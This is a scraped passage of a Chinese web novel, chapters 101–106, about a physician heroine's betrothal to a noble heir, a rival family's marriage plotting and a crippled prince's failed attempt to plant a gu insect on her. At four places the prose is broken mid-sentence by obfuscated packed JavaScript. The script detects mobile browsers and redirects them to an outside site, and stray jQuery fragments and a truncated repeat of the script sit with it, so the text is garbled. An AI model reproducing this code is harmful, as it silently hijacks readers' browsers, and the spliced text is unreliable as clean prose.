“没、没什么。”赵氏红着脸低下头,“只是没想到林大夫竟是女子。” 两人说笑着将药材一一整理妥当,又用红纸将它们包好。顾馨巧特意挑选了一些名贵的药材,想着这些东西最适合送给未来的儿媳。 “夫人,老爷让我来问,可准备好了?”一个丫鬟走进来禀报。 顾馨巧看了看准备好的礼品:“就快了,再等片刻。”她转向赵氏,“妹妹,麻烦你去告诉老爷,就说我们这就来。” 赵氏应声而去,顾馨巧又仔细检查了一遍礼品,确保万无一失。 第一百零一章 条件很简单 前院里,楚云浪正在和媒婆说话。他穿着一身深蓝色的长袍,显得格外稳重。 “这林大夫医术高明,品性端正,确实是难得的好姑娘。”媒婆笑眯眯地说,“夫人托我打听过,街坊邻居都说她医术好,为人和善。” 楚云浪点点头:“是啊,上次季远病重,多亏了她。” 不多时,楚星河也收拾整齐走了出来。他今日特意换了件月白色的长衫,腰间系着玉带,整个人清俊挺拔。 “季远,”楚云浪看着儿子,欲言又止。 “父亲放心,”楚星河微微一笑,“我心里有数。” 一行人坐上马车,向仁心医馆驶去。马车缓缓行驶在街道上,车帘随风轻轻摆动。 医馆内,林芷柔正在为病人诊脉。她今日换了件白色长衫,发髻上系着一条亚青色的发带,清雅脱俗。纤长的手指搭在病人的脉门上,神情专注。 “大夫,我这病可有得治?”病人忧心忡忡地问。 “放心,不是什么大病。”林芷柔的声音清冷平静,“开几副药调理一下就好。” 她提笔写下药方,字迹清秀工整。阳光从窗外斜斜地照进来,在她白皙的脸上投下淡淡的光晕。 “林大夫,这方子要吃几天?”病人接过药方,小声问道。 “七副药,一日一副。”林芷柔一边收拾药箱一边说,“若是吃完还不见好,再来找我。” 林巧巧站在医馆后院的廊下,望着林芷柔忙碌的身影,一缕晨光透过树叶斑驳地洒在她身上。 清晨的风带着淡淡的药香,吹起她的衣袖。这样的画面让林巧巧看得有些出神。 同是女儿身,可大姐却能带着一家人来到云云州安家,还开了这间声名渐起的医馆。不仅如此,还教导大哥做生意,让全家都过上了安稳的日子。这份本事,这份胆识,让她不禁暗自神往。 “巧巧,过来帮我看看这个方子。”林芷柔的声音将她的思绪拉回现实。 林巧巧快步走到药案前,仔细查看大姐指着的药方。她的目光在纸上游移,努力回忆着每味药材的功效。 “这味黄芩用量是不是重了些?”她迟疑着问道。 林芷柔露出赞许的笑容:“观察得不错,这位病人体虚,确实不宜用太多寒凉之品。” 得到夸奖,林巧巧心中一暖。若是她也有大姐这般本领,父母的血海深仇又何愁不能报?这个念头一闪而过,她随即将注意力集中在眼前的药方上。 医馆外渐渐热闹起来,三三两两的病患已经在门口排起了队。林芷柔抬眸向外望去,只见外头传来一阵骚动。 “云陵伯府的马车!” “是云陵伯来了!” “快让让路...” 病患们纷纷往两边退开,议论声此起彼伏。林芷柔的手指微微一顿,面上却看不出什么异样。 楚星河从马车上下来,身后跟着他的父母楚云浪和顾馨巧。他们一行人在众人惊诧的目光中走进医馆。 “柔柔姑娘。”顾馨巧率先开口,语气温和,“今日冒昧前来,是有要事相商。” 林芷柔不慌不忙地请他们到后院,吩咐林巧巧去准备茶水。 后院里,林山和柳雅芝正在商量午饭。突然听到前院的动静,两人慌忙起身。 “侯爷、夫人请坐。”林山连忙招呼,“有失远迎,还请见谅。” 顾馨巧拉着柳雅芝的手:“大嫂不必客气,今日冒昧来访,还请见谅。”她笑容温和,目光却时不时地瞟向林芷柔。 林巧巧端着茶盘进来时,正好听到顾馨巧在说:“...季远的病是你治好的,这份恩情我们夫妇一直记在心里。” 她将茶杯一一放好,余光瞥见楚星河正专注地看着大姐,目光温柔而坚定。 “夫人言重了。”林芷柔淡然道,“医者本分而已。” “柔柔,”楚星河突然开口,“我今日来,是想向你提亲。” 这句话一出,空气仿佛凝固了一瞬。林巧巧悄悄退到一旁,却竖起耳朵仔细听着。 官媒笑呵呵地打圆场:“林老爷,今日是来说一桩好事的。咱们世子爷和令千金......” 林芷柔没有立即回答,而是看向楚云浪夫妇:“不知侯爷和夫人的意思是?” “我们完全赞同。”楚云浪笑道,“季远的性子我们做父母的最清楚,他既然选中了你,必然是深思熟虑的决定。” 顾馨巧也点头附和:“是啊,我们早就把你当成自家人了。” 林芷柔轻轻放下茶杯:“既然如此,不知楚家其他长辈的态度如何?” 这个问题让楚星河的表情微微一变。顾馨巧连忙解释:“老夫人年事已高,这些事就由我们做主就好。” “夫人这是打算瞒着老夫人?”林芷柔直视着顾馨巧的眼睛。 顾馨巧一时语塞,楚星河急忙道:“柔柔,这事是母亲的主意。她担心我病愈的消息传回帝都,祖母又在忙着为我安排婚事。” “所以,你们是在抢在令祖母前头?”林芷柔冷笑,“我就这么成了你们家斗法的棋子?” “不是的!”楚星河急切地解释,“我是真心想娶你。从你救我那日起,我就...” 林芷柔抬手示意打断他的话,“楚公子,你可想清楚了?我的身份,我的过往,你都能接受?” 楚星河毫不犹豫地点头:“我们成亲后就在云州住下,不去帝都,祖母鞭长莫及。” “若有朝一日,她以孝道相逼呢?” “我发誓,一定护你周全!”楚星河郑重承诺,“你是我此生唯一想要珍惜的人。” 林芷柔目光在楚云浪、顾馨巧和楚星河三人之间转了一圈,手指无意识地摩挲着茶杯边缘。屋内光线明亮,茶香袅袅,却掩不住那一丝若有若无的紧张气息。 “我的条件很简单,”她缓缓开口,声音清晰而坚定,“一生一世一双人,不要姨娘,不要通房。” 这话一出,屋内气氛骤然凝滞。茶杯相碰的声响在这一刻显得格外刺耳。 顾馨巧放下手中的茶盏,眼中闪过一抹赞许:“这有什么问题?我们楚家的男人,向来都是一心一意。”她转头看向楚云浪,“你说是不是,老爷?” 第一百零二章 议定婚事 楚云浪端坐在主位上,眉头微蹙。他看了看儿子楚星河,又看了看林芷柔,一时没有说话。这种事情,确实还是让年轻人自己拿主意比较好。 林芷柔察觉到楚云浪的迟疑,指尖不自觉地加重了力道。茶杯中的水面泛起细微的涟漪,映照出她略显苍白的面容。 “我同意。” 突如其来的声音打破了沉默。楚星河直视着林芷柔,目光灼灼,“三妻四妾虽是常态,但也容易生出是非。一个人,反倒清净。” 林芷柔抬眸,对上那双漆黑如墨的眼眸。楚星河眼中的真诚让她心头微动,嘴角不自觉地扬起一抹浅笑。这个男人,似乎比想象中更懂得分寸。 “爹,”林芷柔转头看向林山,“那就这样定了吧。” 坐在一旁的媒婆孙氏暗自叹气。她摆弄着手中的帕子,心想这一趟怕是白跑了。这哪里还用得着她说和?分明是两家早就说好了的。 楚星河听到林芷柔这话,眸光微闪,他偷眼看向林芷柔,见她神色从容,心头不由得一松。 “林老弟,”楚云浪笑着开口,“既然孩子们都愿意,那我们这些做长辈的,也就别多说什么了。” 厨房里,柳雅芝一边准备点心,一边竖着耳朵听外面的动静。听到这话,她不由得松了口气,眼角泛起笑意。 “娘,”林巧巧蹑手蹑脚地凑到柳雅芝身边,“大姐真的要嫁人了吗?” 柳雅芝轻轻拍了拍女儿的手:“估计得等到明年了,今年时间太紧。”她一边说着,一边在心里盘算。大儿子成亲,大女儿定亲,二儿子考上童生,这日子,当真是越过越红火了。 “只要柔柔愿意,我没什么好说的。”林山看着女儿,又瞥了眼楚星河,“不过,我家条件就这样,往后可不能拿这个说事。” “那是自然!”楚云浪拍着林山的肩膀,豪爽地说道,“英雄不问出处,能娶到柔柔,是季远的福气。” 媒婆看着这一幕,暗自盘算着这份谢媒钱来得着实容易。她抿了口茶,目光在两家人之间游移。 “柔柔是我们看中的儿媳,”顾馨巧也跟着表态,“怎么可能会看不起她的背景呢?有些人家世显赫又如何?比得上我家柔柔的本事?” 林芷柔低垂着眼帘,这位未来的婆婆真是爽快,倒是个明白人。若是自己没有这份医术,怕是也入不了楚家的眼。不过......她偷偷瞥了眼楚星河的侧脸,看在这张脸的份上,似乎也不亏。 消息很快传遍了整个云云州,引起一阵轩然大波。侯爷夫妇亲自上门提亲,这规格,显然是要娶世子妃。街头巷尾,茶楼酒肆,都在议论这桩婚事。 “听说那林家姑娘医术了得,连太医院都对她赞不绝口。” “可不是嘛,前些日子还救了宁家老太太的命呢。” “这样的本事,配个伯府世子,倒也般配。” 宁家老太太得到消息时,正在院子里赏花。她手中的茶盏微微一顿,悬着的心总算放下。这孙女,果然没看错人。 宁涵凤听闻此事,眉眼间都是喜色。她站在镜前,看着自己明艳的容颜,心想再过几个月,她就要嫁入林家了。想到这里,她不由得露出一抹甜蜜的笑容。 反观宁涵清,却是咬牙切齿。她独自一人坐在院中,看着庭院里的落叶纷飞,心中懊悔不已。当初怎么就这么蠢,放着这么好的姻缘不要?如今被禁足在院中,连个帮手都没有,只能眼睁睁看着宁涵凤要嫁入林家。 宁家老太太将宁涵凤叫到院中,商议嫁妆的事。 “凤儿,”老夫人慈爱地看着孙女,“祖母想把城外那座庄子给你做嫁妆,那里有三百亩良田。” “不用了,祖母。”宁涵凤笑着摇头,发髻上的珠钗随着她的动作轻轻晃动,“我嫁的是林家公子,不需要带太多东西过去。连奴仆婢女都不必带,只要我自己的几间铺子就够了。” 宁家大爷站在一旁,眉头微皱,似乎有些不解 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15582264|171447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 老夫人却是眼中闪过一抹了然:“嫁妆还是要备足的,你到底是我们宁家的大小姐,不能让人看轻了去。” 宁涵凤微微低着头,纤长的手指轻轻摩挲着茶盏边缘,眉眼温婉。 “爹别恼,女儿也是为了适应林家的规矩。”她轻声解释道,声音如同春日里的细雨,轻柔而沁人心脾,“林家向来简朴,我这个新妇进门,总不好摆出一副金枝玉叶的架子。” 话语间,她的心底泛起一丝苦涩。从前在宁家,她也是这般独来独往,早已习惯了没有下人伺候的日子。那时候,府里的下人们总是围着宁涵清转,而她更喜欢独处,渐渐地也就习惯了这样的生活。 老夫人听罢目光慈爱地看向儿子:“林家虽是发达了,但家风朴实。就连当家主母也是事事亲力亲为,凤儿这般想法很是妥当。” 宁家大爷听了这话,瞬间明白了女儿的用意:“原来如此。只是...只是委屈凤儿了。”说这话时,他的声音里带着几分愧疚。 “爹说的哪里话。”宁涵凤莞尔一笑,眼角弯起温柔的弧度,“女儿这些日子跟着厨房师傅学了不少,定能把林家的饭菜照顾好。” 她说这话时,脑海中不由浮现出前几日在厨房学习的情景。那时她站在灶台前,被热气熏得满脸通红,却依然认真地记着师傅教的每一个步骤。手上被烫出的几个小水泡,此刻似乎还隐隐作痛。 提起林家,宁家大爷眼前一亮,踱步到宁涵凤身边:“说起来,女婿那将军醪当真了得!我们酒楼每日都能拿到固定的份额,生意好得很。” “是啊,那卤菜也是一绝。”老夫人接过话头,眼中闪过赞许的光芒,“你这女婿当真有经商的天赋。前几日我去酒楼,看到门口排队的人都快排到街角了。” 宁涵凤低头抿嘴轻笑,耳根微红。她想起那日在祖母房中见到林文昂的情景,那个身材高大的男子站在阳光下,眉目如画,举手投足间尽显儒雅之气。 第一百零三章 走暗路如何? 宁家大爷兴致勃勃地在房中踱步,说起庄子上的见闻:“那庄子可真是别致,房子整整齐齐,一排排的像是用尺子量过似的。工人们各司其职,走路说话都轻声细语的。最特别的是那个大食堂,男女分区,秩序井然。” 他说着,还用手比划起来:“那食堂里的桌椅都是统一的,每张桌子上还摆着醋瓶子和辣椒罐,可见是处处为工人们着想。” 听着父亲的描述,宁涵凤心中涌起一丝期待。想象着日后嫁过去,自己是否也能参与到庄子的事务中去。 思及此,她不禁想起前些日子林文昂来访的情形。那日他送来节礼,在祖母的默许下,她得以作陪。虽然没说上几句话,但那种心悸的感觉至今难忘。 她还记得,那日林文昂谈起庄子上的事务时,眼中闪烁着智慧的光芒。他说起改良酿酒工艺的想法,说起如何让工人们住得更舒适,说起要把庄子办成一个让所有人都能安居乐业的地方。 正说话间,老夫人的贴身嬷嬷匆匆进来,脸上带着几分焦急。她快步走到老夫人身边,俯身在老夫人耳边低语几句。 老夫人的脸色瞬间阴沉下来,手中的佛珠停止了转动。 宁涵凤看着祖母的表情变化,心知必是宁涵清又闹出什么事来。她抿了抿唇,想起妹妹那任性的性子,心中暗叹一声。 “祖母,”她轻声开口,声音里带着几分担忧,“不如早些为清儿妹妹定下亲事。免得她...再做出什么不妥当的事来。” 老夫人叹了口气,眉头紧锁:“这丫头太过任性,几门好亲事都被她推了。前些日子那个翰林之子,家世清白,人品也好,偏偏被她说人家长得太瘦。” 宁涵凤眼珠一转,想起了什么:“听说大弟身边有几位品学兼优的同窗,不如从中选一位?虽说现在还未显达,但日后必有一番作为。” 这番话令老夫人眼前一亮,她放下手中的佛珠:“凤儿说得在理。这倒是个好主意。” “若能择一个家境清白,却略显拮据的书香门第,”宁涵凤继续道,声音轻柔却字字有力,“既能保全清儿的体面,又能让对方感念宁家的提携之恩。这样的人家,往往最知恩图报。” 宁家大爷立刻想到一人,拍案道:“文家那小子就很合适!听说他学问扎实,为人谦和,明年就要下场考秀才了。” “文家虽不富裕,却也不至于揭不开锅。”宁涵凤一边说,一边仔细斟酌着用词,“这样的人家最适合,既不会因受恩太重而心生怨恨,又能保持应有的感激之情。况且文家小郎君生得清秀,性子温和,说不定正合清儿的心意。” 老夫人连连点头,看向宁涵凤的目光愈发慈爱。她伸手拉过宁涵凤的手,轻轻拍了拍:“还是凤儿想得周到。这门亲事,倒是可以好好谋划谋划。” 宁涵凤垂眸浅笑,心中却泛起一丝涟漪。她想起自己的婚事,也是这般被人谋划。只是不知,那个常在她梦中出现的身影,此刻在做些什么。 老夫人轻轻摩挲着手中的檀木佛珠,心中暗暗计较。 “就选文家吧,这门亲事最合适不过。”她的语气不容置疑,手中的佛珠停顿了一瞬。 宁涵凤站在一旁,听了这话,嘴角不着痕迹地勾起。以宁涵清那贪得无厌的性子,就算嫁入皇家也不会知足。早些将她打发出门才是正理。 老夫人的贴身丫鬟黄萝端着一盏香茗进来,恭敬地放在桌上。 “老夫人,二小姐派人来说,想去城外上香。”黄萝低声禀报,“说是连日噩梦缠身,想去寺庙拜拜菩萨消灾。” 老夫人眉头微皱,手中的佛珠转得更快了。“不准。”她语气冷淡,“让她安分待在院子里。” 消息传到宁涵清耳中,她顿时气得将手边的茶盏摔在地上。瓷器碎裂的声响惊得丫鬟们纷纷低头,不敢看她发怒的样子。 “都出去!”她厉声喝道。待丫鬟们退出去后,她在房中来回踱步,眼中满是不甘与愤怒。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15591464|171447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 她哪里是真想拜佛,分明是想故技重施,再去庄子上寻那林文昂。没想到老夫人如此警惕,连出门都不准。 窗外的风吹动帘子,带来远处的说笑声。宁涵清走到窗前,看见宁涵凤正和丫鬟说着什么,脸上带着淡淡的笑意。 “**!”她咬牙切齿,指甲深深掐进掌心。林文昂的姐姐可是云陵伯府的世子妃,这样的亲事本该是她的。可如今却被宁涵凤抢了去。 她望着镜中的自己,容貌丝毫不逊于宁涵凤,可命运却天差地别。庶女的身份如同枷锁,将她牢牢束缚。 宁涵清坐在梳妆台前,暗暗思考着对策。那些下人都是老夫人的眼线,谁也不会帮她传递消息。就连她最信任的丫鬟也被调走,换成了老夫人的人。 窗外的天空湛蓝如洗,飘着几朵白云。宁涵清望着这片天空,只觉得胸中郁结难平。眼看宁涵凤的婚期将近,她却连见林文昂一面都做不到。 她想过去求宁涵凤,可那又有什么用?就算宁涵凤愿意,她也只能做个姨娘。林文昂娶宁涵凤已是屈就,又怎会娶她这个庶女为正室? 这条路越走越窄,前有高墙,后有深渊。她握紧了手中的帕子,眼中闪过一丝决然。既然光明的路走不通,那就走暗处的路又如何? 另一边,楚星河与林芷柔的婚事也定了下来。这消息一出,整个云州都沸腾了。 “原来仁心医馆的神医竟是位女子!”茶馆里,食客们议论纷纷。 “我去年就是让她治好的旧伤,那医术,真是神了!” “听说连太医院的老大夫都对她赞不绝口。” 云州的百姓这才知道,那位神医竟是个年轻女子。那些曾受过她救治的病人,无不对她心怀敬意。女子行医本就罕见,更何况医术如此高明。 云陵伯世子时常出现在医馆,那挺拔的身影站在门口,自有一番威势。这也震慑了那些想要生事的人。 可偏偏就有不怕死的。 第一百零四章 老相识 这日,阳光正好,医馆外的杏花开得正艳。小摇领村的柳川馨带着一个坐轮椅的男子来到医馆。 “我表哥腿上有伤,你既是神医,定能治好。”柳川馨扬着下巴,语气傲慢。她身上穿着绣花褙子,一副小家碧玉的模样,却掩饰不住眼中的轻蔑。 林芷柔放下手中的医书,打量着轮椅上的男子。一身发白的长袍,手持一把旧扇。五官清秀,唯有那双眼睛格外明亮。 这双眼睛,她见过。当初就是这个人,被她打伤了双腿,后来不知所踪。如今却换了张脸,跟着柳川馨来到医馆。 真是有意思。 “把裤脚卷上去。”林芷柔语气平淡,仿佛面对的只是个普通病人。 李远龙心中冷笑。他的腿早已无药可救,此番前来不过是想探探林芷柔的底细。那双平静的眼睛让他心中升起一股怒火。 原本他想直接杀了这个女人,但听闻她医术高明后,又生出别的心思。若能将她掌控在手中,岂不是如虎添翼? 用毒?不行,她是医者,说不定比自己更精通毒术。用蛊?这倒是个好主意。只是下蛊也需要时机,眼下借着看诊的由头接近她,或许能找到机会。 林芷柔看出了他的身份,却装作不知。她仔细查看那已经萎缩的肌肉,眉头微皱。“抱歉,您的腿已经无法医治了。” “什么?”柳川馨冷笑,“你这神医之名怕是虚的吧?连这点小伤都治不好?” “神医也是人,不是神仙。”林芷柔抬眼看了她一眼,语气依旧平静,“你表哥的伤耽误太久,若是当时就来找我,或许还有希望。” 李远龙心中冷哼。当时去找她?那不是自投罗网吗?他握住柳川馨的手,示意她不要多言。那只手微微发抖,显示出主人内心的愤怒。 “当时在外地,来不及赶到云州。”李远龙说道,声音温和,眼底却是阴冷。 “那真是可惜了。”林芷柔眼中带着笑意,“这种伤必须在十二个时辰内治疗,否则就只能在轮椅上度过余生了。” 这话看似惋惜,实则讽刺。柳川馨听不出其中深意,但李远龙却听得清清楚楚。他暗暗攥紧了拳头,指甲深深掐进掌心。 若不是这个女人,他又怎会沦落至此?他要让她生不如死。李远龙阴冷地望着林芷柔的背影。 医馆里的药香渐渐浓郁,掩盖了暗流涌动的杀机。 林芷柔站在诊室的窗前,思绪却飘向了不久前的那场会面。 诊室里还残留着那股若有若无的异香,像是某种名贵香料,又似乎掺杂着别的什么。那香味太过特别,让她想起了在玄冥边境见过的一种奇异花朵。 “主人,那位病人好像又来了。”灰羽的声音从窗外传来,打断了她的思绪。 林芷柔转身,整了整白大褂的衣领。诊室的门被推开,轮椅的吱呀声伴随着脚步声传来。 李远龙坐在轮椅上,他今天特意露出了山寨中林芷柔见过的面容,一身月白色长袍,手中把玩着一把檀木折扇。柳川馨站在他身后,推着轮椅缓缓前行。 “原来是六皇子?今日怎么有空来我这小诊所?”林芷柔走到办公桌前坐下,语气平淡。 李远龙轻轻摇着扇子,扇面上绘着一幅山水,颜色淡雅。“怎么,本皇子来看看老相识,也要事先打招呼?” “老相识?”林芷柔嘴角微扬,“六皇子说笑了。您可是玄冥的皇子,我不过是个小小的医生,哪敢称得上是相识。” 李远龙的扇子顿了顿,眼中阴霾闪过。柳川馨察觉到气氛的变化,不安地整理着衣摆。 “林大夫说得对,”李远龙冷笑,“我们确实算不上相识。毕竟...相识的人,也不会下手那么狠。” 空气仿佛凝固了一瞬。 林芷柔的目光落在他的腿上,又移向那把折扇。扇面微微颤动,似乎有什么东西在里面蠕动。 她不动声色地拿起桌上的病患登记本,手指轻轻敲击着封面。“六皇子若是来看病,我自当尽力。若是来叙旧...恕我这里不太欢迎。” “叙旧?”李远龙突然大笑,“本皇子只是想看看,当初那个在山寨里对我施放暗器的女人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15591465|171447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,现在过得如何!” 话音未落,一抹红色从扇面缝隙中窜出。 啪! 林芷柔手中的登记本重重落下,那抹红色瞬间被拍得粉碎。 一股更浓郁的香味在空气中弥漫。 “六皇子的把戏,玩得不错。”林芷柔将登记本放回原处,语气依旧平静,“只是这蛊虫,似乎不太适合云州的气候。” 李远龙的脸色阴晴不定,手中的扇子被捏得咯吱作响。 柳川馨连忙上前:“六皇子,时候不早了,我们该回去了。” “走。”李远龙冷冷吐出一个字。 轮椅转向门口,却在即将离开时停下。李远龙侧过头,目光阴冷:“林大夫,我们来日方长。” 直到轮椅声消失在走廊尽头,林芷柔才缓缓呼出一口气。她打开窗户,让新鲜空气涌入,驱散那股诡异的香味。 灰羽从窗外飞进来,围着林芷柔转圈:“主人主人,那只虫子好奇怪!我从来没见过这样的!” “说说看。” “它从扇子里出来的时候,身上有一层金光,还会发出香味!”灰羽比划着,“而且它的速度好快,要不是主人反应快,说不定就...” 林芷柔若有所思:“去找灰鼠七、玄猫五和黄狗九,让他们盯着李远龙。我要知道他在云州的一举一动。” “好嘞!”灰羽欢快地飞走了。 没过多久,墨翎也回来复命。 “小姐,那人住在金泰钱庄西边的院子里。”墨翎压低声音,“打听到他最近经常出入一家香料铺子,好像在找什么特殊的香料。” 林芷柔点点头:“继续盯着。” 送走墨翎后,她走到药柜前,取出一个玻璃瓶。瓶中装着刚才那只蛊虫的残骸,在阳光下泛着诡异的金光。 这种蛊虫她在边境见过。玄冥苗疆特有,名为“迷心蛊”,能让人神志不清,任人摆布。 李远龙想用这种蛊虫控制她,逼她交出**的秘密。 可惜,**她早就对各种蛊毒有了防备。 第一百零五章 何方神圣? 金泰钱庄西边的院子里。 李远龙坐在书房中,面前的镜子里倒映着一张妖冶的容颜。他缓缓揭下脸上的**,露出真实的面容。 “六皇子,您的药...”柳川馨站在门口,手中托着药碗。 “放下。”李远龙头也不回。 柳川馨轻手轻脚地将药碗放在桌上,犹豫片刻:“六皇子,您别太生气。林芷柔她...” “闭嘴!”李远龙猛地转头,语气怨恨地说道:“你以为本皇子会在意一个**的女人?” 柳川馨吓得后退一步,低下头不敢再说话。 待她退出房间,李远龙打开抽屉,拿出一个精美的锦盒。盒中躺着四颗金黄色的**头,是从他身上取出来的。 两条手臂,两条腿。 为了取出卡在腿骨上的**,他不得不将骨头敲碎。从此,他成了一个废人,只能靠轮椅代步。 但这些都不重要。 母妃已经联系上了天玄国的楚王,那个同母异父的兄长。只要能控制住林芷柔,逼她交出那种难以捉摸的暗器... 林芷柔的暗器,小巧玲珑却威力惊人。 李远龙摩挲着手中的**头,眉头紧锁。指尖触及金属表面的细密纹路,每一道凹凸都仿佛在诉说着制作者的用心。这小小的圆形暗器,竟能深入骨髓,让他吃尽苦头。 他将暗器举到光线下细细打量,金属表面泛起冷冽的光泽。 “这制作工艺......”他喃喃自语,目光中闪烁着惊叹,“就连玄冥最好的匠人也未必能及。” 想起那个女子,他不禁陷入沉思。初见时不过是个装扮成男子的女郎,一身素衣,清冷淡然。可那双眼睛,却透着不同寻常的睿智,仿佛能看透人心。 “真是个奇女子。”李远龙轻声自语,语气中带着几分赞叹,又夹杂着一丝说不清道不明的情绪。 医术高超,暗器精妙,更令人惊叹的是那份洞察力。多少年来,他玄冥六王子的身份,从未被人识破。可她一眼就看穿了。 案几上的茶早已凉透,他却浑然不觉。阳光渐渐西斜,室内的光线愈发昏暗。一阵微风拂过,带来远处庭院里桂花的清香。 想到云陵伯世子,李远龙心中暗暗思忖。那飞火连珠弓和破云**,真的是出自他手?为何偏偏在遇见林芷柔之后才问世? “这暗器如此精巧......”李远龙将**头举到眼前仔细端详,手指轻轻摩挲着表面的纹路。每一道刻痕都精准无比,显然出自高手之手。 一个大胆的想法在他脑海中浮现。 “林芷柔,那连珠弓,是你的手笔吧?”他自言自语,声音低沉而肯定。 他将**头放入锦盒,又取出另一颗观察。阳光下,金属表面泛起冷冽的光芒,仿佛在诉说着某个不为人知的秘密。 “云陵伯世子虽然聪慧,但对机关之术并无特长。”他的目光渐渐变得深邃,“一定是你......” 李远龙的眼神渐渐变得阴冷,仿佛寒冬腊月的北风,透着刺骨的寒意。 “若能得到你这样的人才,何愁大业不成?”他的声音低沉而沙哑,带着几分野心勃勃的意味。 窗外的墨翎听得直撇嘴,黑色的羽毛在阳光下泛着幽蓝的光泽。 “呸,一个废物还想打我家主人的主意。”墨翎在心中暗骂,扑棱着翅膀,悄悄在窗棂上落脚。 它歪着脑袋,黑豆般的眼睛滴溜溜转着,“今晚就让灰鼠七带着它的子孙来拜访你。” 屋内的李远龙忽然失声痛哭。那哭声压抑而隐忍,像个无助的孩子,在黑暗中寻找着光明。泪水顺着脸颊滑落,打湿了锦衣。 廊下的柳川馨听得心酸,眼眶也跟着红了。她靠在廊柱上,手中的绣帕被揉得皱巴巴的。 这样的哭声,她已经听过太多次。每当深楚,都能听见他独自哭泣。可他从不说原因,问就发怒。 李远龙将锦盒紧紧抱在胸前,生怕被人抢走似的。他的身子微微发抖,像是承受着常人难以想象的痛苦。 忽听翅 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15595242|171447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 膀扑腾声,他抬头望去。只见一个黑点消失在天际,留下一片寂静的天空。 “莫非是她的乌鸦?”李远龙心中一惊,手不自觉地握紧了锦盒。 想起林芷柔与那乌鸦的默契,他不禁有些忌惮。若真是来探查的,那这女子的本事,当真深不可测。 思绪又转向了银锭失窃案。那庄子上的诡异事件,至今想来仍令人费解。回想起当时的情景,他的眉头越皱越紧。 二十几车银锭,近五十箱之多。短短一个时辰,就全部变成了沙子。这简直是天方楚谭。 他亲自去查探过,根本找不出任何破绽。所有人都在一起,相互监督,不可能有人单独行动。就连如厕都是两人同行。 这条运银线路只能暂时停运。想到那处横跨天玄与玄冥的秘密银矿,李远龙叹了口气。那是母妃的心血,为的就是助大哥登上大位。 “若非天玄突然拥有了那神奇的连珠弓,这次玄冥早已得胜。”他喃喃自语,声音中带着几分不甘。 窗外的夕阳渐渐西沉,最后一缕阳光透过窗棂,在地上留下一道长长的影子。室内的光线愈发昏暗,仿佛笼罩着一层淡淡的愁绪。 李远龙站起身,拄着拐杖缓缓走到窗前。远处的天际染上了一抹晚霞,美得令人心醉。可他的眼中却没有丝毫欣赏的意味,只有深深的忧虑。 “一定要得到那连珠弓的图纸......”他握紧了拳头,指甲深深陷入掌心,却浑然不觉疼痛。 只要掌控了天玄,玄冥就唾手可得。腿脚不方便又怎样?权势在手,谁还敢小觑于他? 李远龙坐回案前,取出一张白纸,提笔蘸墨。笔尖在纸上游走,勾勒出一个个复杂的图案。那是他根据记忆画出的连珠弓构造图,虽然粗糙,却也能看出大致轮廓。 “林芷柔......”他低声念着这个名字,眼神复杂,“你到底是何方神圣?” 李远龙放下笔,揉了揉酸痛的太阳穴。案几上的茶早已凉透,他却毫不在意,端起来一饮而尽。 第一百零六章 底牌 林芷柔轻抚着手中的青瓷茶杯,温热的触感从指尖传来。 房间的门被轻轻推开,墨翎悄无声息地溜了进来。它优雅地跳上桌面,眼神中带着几分得意。林芷柔放下茶杯,示意萤萤给墨翎准备些吃食。 “主人,”墨翎舔了舔爪子,“那个院子我都打探清楚了。” 林芷柔微微点头:“去带灰鼠七熟悉一下地形。那家伙是我们最重要的监控对象。他在院子里就交给灰鼠七、玄猫五和黄狗九。如果他外出,就由你和灰羽负责跟踪。” 墨翎眯起眼睛,尾巴轻轻摆动:“这段时间我也没闲着,发展了几只麻雀加入队伍。虽然这些小家伙没资格见您,但作为我的手下,也能派上用场。” “做得不错。”林芷柔轻声夸赞。 院子里的灯笼一盏盏亮起。楚星河如约而至,他的身影在灯光下显得格外修长。 “楚星河。”林芷柔抬眼看他,“秦面罗刹的事,我要告诉你。” 楚星河闻言,眉头紧锁,眼底浮现出担忧。他快步走到林芷柔身边,声音低沉:“他秘密潜入云州,究竟有何图谋?柔柔,你要格外小心。我把楚云楚雨留给你防身。” 